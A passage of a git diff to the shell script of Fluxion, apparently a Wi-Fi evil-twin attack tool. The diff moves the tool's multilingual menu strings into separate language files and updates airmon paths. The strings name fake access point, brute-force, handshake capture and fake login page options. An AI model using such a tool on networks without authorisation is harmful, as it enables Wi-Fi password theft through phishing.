"$red"["$yellow"8"$red"]"$transparent" Czech " echo -e " "$red"["$yellow"9"$red"]"$transparent" Greek " - echo -e " "$red"["$yellow"10"$red"]"$transparent" French " - echo " " + echo -e " "$red"["$yellow"10"$red"]"$transparent" French " + echo -e " "$red"["$yellow"11"$red"]"$transparent" Slovenian " + echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in - 1 ) english; setinterface; break ;; - 2 ) german; setinterface; break ;; - 3 ) romanian; setinterface; break;; - 4 ) turkish; setinterface; break;; - 5 ) spanish; setinterface; break;; - 6 ) chinese; setinterface; break;; - 7 ) italian; setinterface; break;; - 8 ) czech; setinterface; break;; - 9 ) greek; setinterface; break;; - 10 ) french; setinterface; break;; - skip ) english; skipme; break;; + 1 ) source $WORK_DIR/language/en; break;; + 2 ) source $WORK_DIR/language/ger; break;; + 3 ) source $WORK_DIR/language/ro; break;; + 4 ) source $WORK_DIR/language/tu; break;; + 5 ) source $WORK_DIR/language/esp; break;; + 6 ) source $WORK_DIR/language/ch; break;; + 7 ) source $WORK_DIR/language/it; break;; + 8 ) source $WORK_DIR/language/cz break;; + 9 ) source $WORK_DIR/language/gr; break;; + 10 ) source $WORK_DIR/language/fr; break;; + 11 ) source $WORK_DIR/language/svn; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done @@ -987,536 +595,6 @@ fi } -function german { - header_setinterface="Wähle deine Netzwerkkarte aus" - setinterface_error="Es wurden keine Netzwerkkarten gefunden, beende..." - - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_choosescan="Wähle deinen Kanal aus" - - choosescan_option_1="Alle Kanäle" - choosescan_option_2="Spezifische Kanal(e)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - scanchan_option_1="Einzelner Kanal" - scanchan_option_2="Mehrere Kanäle" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scan="WIFI Monitor" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scanchan="Scanne Netzwerke..." - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askAP="Wähle deine Angriffsmethode aus" - askAP_option_1="FakeAP - Hostapd ("$red"Empfohlen)" - askAP_option_2="FakeAP - airbase-ng (Langsame Verbindung)" - askAP_option_4="Bruteforce - (Handshake wird benötigt)" - general_back="Zurück" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askauth="Methode zum Prüfen des Handshake" - askauth_option_1="Handshake ("$red"Empfohlen)" - askauth_option_2="Wpa_supplicant (Mehrere Ausfälle)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthforce="Handshake-Überprüfung" - deauthforce_option_1="aircrack-ng (Ausfall möglich)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthMENU="*Erfassung des Handshake*" - deauthMENU_option_1="Überprüfe Handshake" - deauthMENU_option_2="Starte neu" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_webinterface="Wähle deine Strategie aus" - header_ConnectionRESET="Wähle deine Anmeldeseite aus" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - general_case_error="Unbekannte Option, wähle neu aus" - general_error_1="Nicht gefunden" - general_error_2="Datei wurde ${red}nicht$transparent gefunden" - general_back="Zurück" - general_exitmode="Aufräumen und schließen" - general_exitmode_1="Deaktivierung des Monitor Interface" - general_exitmode_2="Deaktivierung des Interface" - general_exitmode_3="Deaktivierung "$grey"von weiterleiten von Paketen" - general_exitmode_4="Säubere "$grey"iptables" - general_exitmode_5="Wiederherstellung von"$grey"tput" - general_exitmode_6="Neustarten des "$grey"Netzwerk Manager" - general_exitmode_7="Wiederherstellung war erfolgreich" - general_exitmode_8="Vielen Dank für die Nutzung von Fluxion" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - selection_1="Mit aktive Nutzer" - selection_2="Wähle dein Angriffsziel aus. Um neu zu scannen tippe $red r$transparent" - -} - -function french { - header_setinterface="Sélectionnez une interface" - setinterface_error="Pas de carte wifi detecté, fin..." - - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_choosescan="Sélectionnez un canal" - choosescan_option_1="Tous les canaux " - choosescan_option_2="Canal spécifique" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - scanchan_option_1="Un seul canal" - scanchan_option_2="Plusieurs canaux" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scan="WIFI Monitor" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scanchan="Scan du reseau" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askAP="Sélectionnez une option d'attaque" - askAP_option_1="FakeAP - Hostapd ("$red"Recommandé)" - askAP_option_2="FakeAP - airbase-ng (Connexion plus lente)" - askAP_option_4="Bruteforce - (Handshake requis)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askauth="METHODE DE VÉRIFICATION DU PASSWORD" - askauth_option_1="Handshake ("$red"Recommandé)" - askauth_option_2="Wpa_supplicant (Plus d'échecs)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthforce="Vérification du Handshake" - deauthforce_option_1="aircrack-ng (Moins de chance)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthMENU="*Capture du Handshake*" - deauthMENU_option_1="Vérification du Handshake" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_webinterface="Sélectionnez votre option" - header_ConnectionRESET="Sélectionnez la page de connexion" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - general_back="Retour" - general_error_1="Pas trouvé" - general_case_error="Option inconnue. Sélectionnez à nouveau" - general_exitmode="Nettoyage et fermeture" - general_exitmode_1="Désactivation de l'interface de monitoring" - general_exitmode_2="Désactivation de l'interface" - general_exitmode_3="Désactivation de "$grey" transmission de paquets" - general_exitmode_4="Nettoyage "$grey"iptables" - general_exitmode_5="Restauration "$grey"tput" - general_exitmode_6="Redémarrage "$grey"Network-Manager" - general_exitmode_7="Nettoyage effectué avec succès!" - general_exitmode_8="Merci d'avoir utilisé fluxion" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - selection_1="Clients actifs" - selection_2="Sélectionnez une cible. Pour relancer un scan, touche $red r$transparent" -} - -function english { - header_setinterface="Select an interface" - setinterface_error="There are no wireless cards, quit..." - - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_choosescan="Select channel" - choosescan_option_1="All channels " - choosescan_option_2="Specific channel(s)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - scanchan_option_1="Single channel" - scanchan_option_2="Multiple channels" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scan="WIFI Monitor" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scanchan="Scanning Target" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askAP="Select Attack Option" - askAP_option_1="FakeAP - Hostapd ("$red"Recommended)" - askAP_option_2="FakeAP - airbase-ng (Slower connection)" - askAP_option_4="Bruteforce - (Handshake is required)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askauth="METHOD TO VERIFY THE PASSWORD" - askauth_option_1="Handshake ("$red"Recommended)" - askauth_option_2="Wpa_supplicant(More failures)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthforce="Handshake check" - deauthforce_option_1="aircrack-ng (Miss chance)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthMENU="*Capture Handshake*" - deauthMENU_option_1="Check handshake" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_webinterface="Select your option" - header_ConnectionRESET="Select Login Page" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - general_back="Back" - general_error_1="Not_Found" - general_case_error="Unknown option. Choose again" - general_exitmode="Cleaning and closing" - general_exitmode_1="Disabling monitoring interface" - general_exitmode_2="Disabling interface" - general_exitmode_3="Disabling "$grey"forwarding of packets" - general_exitmode_4="Cleaning "$grey"iptables" - general_exitmode_5="Restoring "$grey"tput" - general_exitmode_6="Restarting "$grey"Network-Manager" - general_exitmode_7="Cleanup performed successfully!" - general_exitmode_8="Thanks for using fluxion" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - selection_1="Active clients" - selection_2="Select target. For rescan type$red r$transparent" - } - -function romanian { - header_setinterface="Selecteaza o interfata" - setinterface_error="Nu este nici o placa de retea wireless, iesire..." - - # - header_choosescan="Selecteaza canalul" - choosescan_option_1="Toate canalele " - choosescan_option_2="Canal specific(s)" - # - scanchan_option_1="Un singur canal" - scanchan_option_2="Canale multiple" - # - header_scan="WIFI Monitor" - # - header_scanchan="Scaneaza tinta" - # - header_askAP="Selecteaza optiunea de atac" - askAP_option_1="FakeAP - Hostapd ("$red"Recomandat)" - askAP_option_2="FakeAP - airbase-ng (Conexiune mai lenta)" - askAP_option_4="Bruteforce - (Handshake este necesara)" - # - header_askauth="METODA PENTRU VERIFICAREA PAROLEI" - askauth_option_1="Handshake ("$red"Recomandat)" - askauth_option_2="Wpa_supplicant(Mai multe eșecuri)" - # - header_deauthforce="Verificare Handshake" - deauthforce_option_1="aircrack-ng (Sansa ratata)" - # - header_deauthMENU="*Capturare Handshake*" - deauthMENU_option_1="Verificare handshake" - # - handshakelocation_1="Handshake locatie (Examplu: $red$WORK_DIR.cap$transparent)" - handshakelocation_2="Apasa ${yellow}ENTER$transparent to skip" - # - header_webinterface="Selecteaza optiunea ta" - header_ConnectionRESET="Selecteaza pagina de logare" - # - general_back="Inapoi" - general_error_1="Nu a fost gasit" - general_case_error="Optiune necunoscuta. Incearca din nou" - general_exitmode="Curatire si inchidere" - general_exitmode_1="Dezacticati interfata monitorizata" - general_exitmode_2="Dezactivati interfata" - general_exitmode_3="Dezactivati "$grey"forwarding of packets" - general_exitmode_4="Curatire "$grey"iptables" - general_exitmode_5="Restaurare "$grey"tput" - general_exitmode_6="Restartare "$grey"Network-Manager" - general_exitmode_7="Curatire efectuata cu succes!" - general_exitmode_8="Multumesc pentru ca ati folosit fluxion" - # - selection_1="Clienti activi" - selection_2="Selecteaza tinta. Pentru rescanare tastati$red r$transparent" - -} - -function turkish { - header_setinterface="Bir Ag Secin" - setinterface_error="Wireless adaptorunuz yok, program kapatiliyor..." - - # - header_choosescan="Kanal Sec" - choosescan_option_1="Tum Kanallar " - choosescan_option_2="Sectigim Kanal ya da Kanallar" - # - scanchan_option_1="Tek Kanal" - scanchan_option_2="Coklu Kanal" - # - header_scan="Wifi Goruntule" - # - header_scanchan="Hedef Taraniyor" - # - header_askAP="Saldiri Tipi Secin" - askAP_option_1="SahteAP - Hostapd ("$red"Tavsiye Edilen)" - askAP_option_2="SahteAP - airbase-ng (Yavas Baglanti)" - askAP_option_4="Kabakuvvet - (Handshake Gereklidir)" - # - header_askauth="Sifre Kontrol Metodu" - askauth_option_1="Handshake ("$red"Tavsiye Edilen)" - askauth_option_2="Wpa_supplicant(Hata Orani Yuksek)" - # - header_deauthforce="Handshake Kontrol" - deauthforce_option_1="aircrack-ng (Hata Sansı Var)" - # - header_deauthMENU="*Kaydet Handshake*" - deauthMENU_option_1="Kontrol Et handshake" - # - handshakelocation_1="handshake Dizini (Ornek: $red$WORK_DIR.cap$transparent)" - handshakelocation_2="Tusa Bas ${yellow}ENTER$transparent Gecmek icin" - # - header_webinterface="Secenegi Sec" - header_ConnectionRESET="Giris Sayfasini Sec" - # - general_back="Geri" - general_error_1="Bulunamadi" - general_case_error="Bilinmeyen Secenek. Tekrar Seciniz" - general_exitmode="Temizleniyor ve Kapatiliyor" - general_exitmode_1="Monitor modu kapatiliyor" - general_exitmode_2="Ag Arayuzu kapatiliyor" - general_exitmode_3="Kapatiliyor "$grey"forwarding of packets" - general_exitmode_4="Temizleniyor "$grey"iptables" - general_exitmode_5="Yenileniyor "$grey"tput" - general_exitmode_6="Tekrar Baslatiliyor "$grey"Network-Manager" - general_exitmode_7="Temizlik Basariyla Tamamlandi!" - general_exitmode_8="Fluxion kullandiginiz icin tesekkurler." - # - selection_1="Aktif kullanicilar" - selection_2="Tekrar taramak icin Hedef seciniz type$red r$transparent" - -} - -function spanish { - header_setinterface="Seleccione una interfase" - setinterface_error="No hay tarjetas inalambricas, saliendo..." - - # - header_choosescan="Seleccione canal" - choosescan_option_1="Todos los canales " - choosescan_option_2="Canal(es) específico(s)" - # - scanchan_option_1="Canal único" - scanchan_option_2="Canales múltiples" - # - header_scan="WIFI Monitor" - # - header_scanchan="Escaneando objetivo" - # - header_askAP="Seleccione Opción de Ataque" - askAP_option_1="FakeAP - Hostapd ("$red"Recomendado)" - askAP_option_2="FakeAP - airbase-ng (Conexión más lenta)" - askAP_option_4="Bruteforce - (Se requiere handshake)" - # - header_askauth="MÉTODO PARA VERIFICAR CONTRASEÑA" - askauth_option_1="Handshake ("$red"Recomendado)" - askauth_option_2="Wpa_supplicant(Más Fallas)" - # - header_deauthforce="Chequeo de Handshake" - deauthforce_option_1="aircrack-ng (Posibilidad de error)" - # - header_deauthMENU="*Capturar Handshake*" - deauthMENU_option_1="Chequear handshake" - # - handshakelocation_1="ubicación del handshake (Ejemplo: $red$WORK_DIR.cap$transparent)" - handshakelocation_2="Presione ${yellow}ENTER$transparent para saltar" - # - header_webinterface="Seleccione su opción" - header_ConnectionRESET="Seleccione página de Login" - # - general_back="Atrás" - general_error_1="No_Encontrado" - general_case_error="Opción desconocida. Elija de nuevo" - general_exitmode="Limpiando y cerrando" - general_exitmode_1="Deshabilitando interfaz de monitoreo" - general_exitmode_2="Deshabilitando interfaz" - general_exitmode_3="Deshabilitando "$grey"reenvio de paquetes" - general_exitmode_4="Limpiando "$grey"iptables" - general_exitmode_5="Restaurando "$grey"tput" - general_exitmode_6="Reiniciando "$grey"Network-Manager" - general_exitmode_7="Limpieza realizada satisfactoriamente!" - general_exitmode_8="Gracias por usar fluxion" - # - selection_1="Clientes activos" - selection_2="Seleccione objetivo. Para reescanear teclee$red r$transparent" - - -} - -function chinese { - - setinterface_error="没有检测到网卡 退出..." - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_choosescan="选择信道" - choosescan_option_1="所有信道 " - choosescan_option_2="指定信道" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - scanchan_option_1="单一信道" - scanchan_option_2="多个信道" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scanchan="正在扫描目标" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askAP="选择攻击选项" - askAP_option_1="伪装AP - Hostapd ("$red"推荐)" - askAP_option_4="暴力破解 - (需要握手包)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askauth="请选择验证密码方式" - askauth_option_2="提供的wpa (易错)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthforce="握手包检查" - deauthforce_option_1="aircrack-ng (Miss chance)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthMENU="*抓握手包*" - deauthMENU_option_1="检查握手包" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_webinterface="请选择" - header_ConnectionRESET="选择登陆界面" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - general_back="返回" - general_error_1="未找到" - general_case_error="未知选项. 请再次选择" - general_exitmode="清理并退出" - general_exitmode_3="关闭 "$grey"forwarding of packets" - general_exitmode_4="清理 "$grey"iptables" - general_exitmode_5="恢复 "$grey"tput" - general_exitmode_6="重启 "$grey"Network-Manager" - general_exitmode_7="清理完成!" - general_exitmode_8="感谢使用fluxion!" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - selection_1="活动的客户端" - selection_2="选择一个目标. 重扫 按$red r$transparent" - -} - -function italian { - - header_setinterface="Seleziona un'interfaccia" - setinterface_error="Nessuna scheda di rete trovata, chiusura..." - - # - header_choosescan="Selezione Canale" - choosescan_option_1="Tutti i Canali" - choosescan_option_2="Definisci Canale/i" - # - scanchan_option_1="Canale Singolo" - scanchan_option_2="Canali Multipli" - # - header_scan="WIFI Monitor" - # - header_scanchan="Scansione dell'Obiettivo" - # - header_askAP="Seleziona Opzione d'Attacco" - askAP_option_1="FakeAP - Hostapd ("$red"Consigliato!)" - askAP_option_2="FakeAP - airbase-ng (Connessione Lenta)" - askAP_option_4="Bruteforce - (Richiede handshake)" - # - header_askauth="MODALITA' DI VERIFICA DELLA PASSWORD" - askauth_option_1="Handshake ("$red"Consigliato!)" - askauth_option_2="Wpa_supplicant(Rischio di Insuccesso)" - # - header_deauthforce="Controllo dell'Handshake" - deauthforce_option_1="aircrack-ng (Possibilità di Errori)" - # - header_deauthMENU="*Cattura dell'Handshake*" - deauthMENU_option_1="Controllo handshake" - # - handshakelocation_1="posizione dell'handshake (Esempio: $red$WORK_DIR.cap$transparent)" - handshakelocation_2="Premi ${yellow}INVIO$transparent per avanzare" - # - header_webinterface="Seleziona la tua scelta" - header_ConnectionRESET="Seleziona la pagina di Login" - # - general_back="Indietro" - general_error_1="Non_Trovato" - general_case_error="Opzione Sconosciuta. Scegli di nuovo" - general_exitmode="Pulizia e chiusura" - general_exitmode_1="Disabilito l'Interfaccia Monitor" - general_exitmode_2="Disabilito l'Interfaccia" - general_exitmode_3="Disabilito "$grey"l'invio dei pacchetti" - general_exitmode_4="Pulisco "$grey"iptables" - general_exitmode_5="Ripristino "$grey"tput" - general_exitmode_6="Riavvio il "$grey"Network-Manager" - general_exitmode_7="Pulizia avvenuta con successo!" - general_exitmode_8="Grazie per aver utilizzato Fluxion" - # - selection_1="Dispositivi connessi" - selection_2="Seleziona Obiettivo. Per effettuare una nuova scansione delle reti premi$red r$transparent" - -} - -function czech { - header_setinterface="Vyberte rozhraní" - setinterface_error="Žádná síťová rozhraní, zavíraní..." - - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_choosescan="Vyberte kanál" - choosescan_option_1="Všechny kanály" - choosescan_option_2="Specifický kanál(y)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - scanchan_option_1="Jeden kanál" - scanchan_option_2="Více kanálů" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scan="Sledování WIFI" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scanchan="Skenování cíle" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askAP="Vyberte metodu útočení" - askAP_option_1="FakeAP - Hostapd ("$red"Doporučeno)" - askAP_option_2="FakeAP - airbase-ng (Pomalejší připojení)" - askAP_option_4="Bruteforce - (Potřebný Handshake)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askauth="METHODA ZÍSKÁNÍ HESLA" - askauth_option_1="Handshake ("$red"Doporučeno)" - askauth_option_2="Wpa_supplicant(Více chyb)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthforce="Potvrzení Handshaku" - deauthforce_option_1="aircrack-ng (Minutí šance)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthMENU="*Nahrát Handshake*" - deauthMENU_option_1="Zkontrolovat handshake" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_webinterface="Vyberte" - header_ConnectionRESET="Vyberte přihlašovací stránku" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - general_back="Zpět" - general_error_1="Nenalezeno" - general_case_error="Neznámý výběr. Vyberte znovu" - general_exitmode="Čištění a zavírání" - general_exitmode_1="Vypínání monitorovacího rozhraní" - general_exitmode_2="Vypínání rozhraní" - general_exitmode_3="Vypínání "$grey"směrování packetů" - general_exitmode_4="Čištění "$grey"iptables" - general_exitmode_5="Obnovování "$grey"tput" - general_exitmode_6="Restartování "$grey"Network-Manager" - general_exitmode_7="Vyčištění proběhlo úspěšně!" - general_exitmode_8="Děkujeme pro používání programu fluxion" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - selection_1="Aktivní klienti" - selection_2="Select target. Pro znovuskenování napište$red r$transparent" - -} - -function greek { - header_setinterface="Επιλέξτε μία διεπαφή" - setinterface_error="Δεν υπάρχουν ασύρματες κάρτες δικτύου, έξοδος..." - - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_choosescan="Επίλεξτε κανάλι" - choosescan_option_1="Όλα τα κανάλια" - choosescan_option_2="Συγκεκριμένο(α) κανάλι(α)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - scanchan_option_1="Μονό κανάλι" - scanchan_option_2="Πολλαπλά κανάλια" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scan="Εποπτεία Wi-Fi" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scanchan="Σκανάρισμα στόχου" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askAP="Επίλογη τύπου επίθεσης" - askAP_option_1="FakeAP - Hostapd ("$red"Συνιστάται)" - askAP_option_2="FakeAP - airbase-ng (Πιό αργή σύνδεση)" - askAP_option_4="Bruteforce - (Απαιτείται το Handshake)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askauth="Μέθοδος επαλήθευσης κωδικού πρόσβασης" - askauth_option_1="Handshake ("$red"Συνιστάται)" - askauth_option_2="Wpa_supplicant(Περισσότερες αποτυχίες)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthforce="Επαλήθευση Handshake" - deauthforce_option_1="aircrack-ng (Πιθανότητα αποτυχίας)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthMENU="*Λήψη του Handshake*" - deauthMENU_option_1="Έλεγχος του handshake" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_webinterface="Επίλεξτε την επιλογή σας" - header_ConnectionRESET="Επίλογη Σελίδας Εισόδου" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - general_back="Πίσω" - general_error_1="Δέν_βρέθηκε" - general_case_error="Άγνωστη επιλογή. Επιλέξτε ξανά" - general_exitmode="Καθαρισμός και τερματισμός" - general_exitmode_1="Απενεργοποίση εποπτείας περιβάλλοντος" - general_exitmode_2="Απενεργοποίηση περιβάλλοντος" - general_exitmode_3="Απενεργοποίηση "$grey"προώθησης των πακέτων" - general_exitmode_4="Καθαρισμός "$grey"iptables" - general_exitmode_5="Επαναφορά "$grey"tput" - general_exitmode_6="Επανεκκίνηση "$grey"του Διαχειριστή δικτύου" - general_exitmode_7="Ο Καθαρισμός εκτελέστηκε με επιτυχία!" - general_exitmode_8="Ευχαριστούμε που χρησιμοποιήσατε το fluxion" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - selection_1="Ενεργοί πελάτες" - selection_2="Επιλέξτε στόχο. Για σκανάρισμα ξανά, πατήστε το$red r$transparent" - -} - # Choose Interface function setinterface { @@ -1534,8 +612,8 @@ function setinterface { done # Create a variable with the list of physical network interfaces - readarray -t wirelessifaces < <(./airmon |grep "-" | cut -d- -f1) - INTERFACESNUMBER=`./airmon| grep -c "-"` + readarray -t wirelessifaces < <(./lib/airmon/airmon |grep "-" | cut -d- -f1) + INTERFACESNUMBER=`./lib/airmon/airmon | grep -c "-"` if [ "$INTERFACESNUMBER" -gt "0" ]; then @@ -1571,8 +649,8 @@ function setinterface { setinterface fi - readarray -t naggysoftware < <(./airmon check $PREWIFI | tail 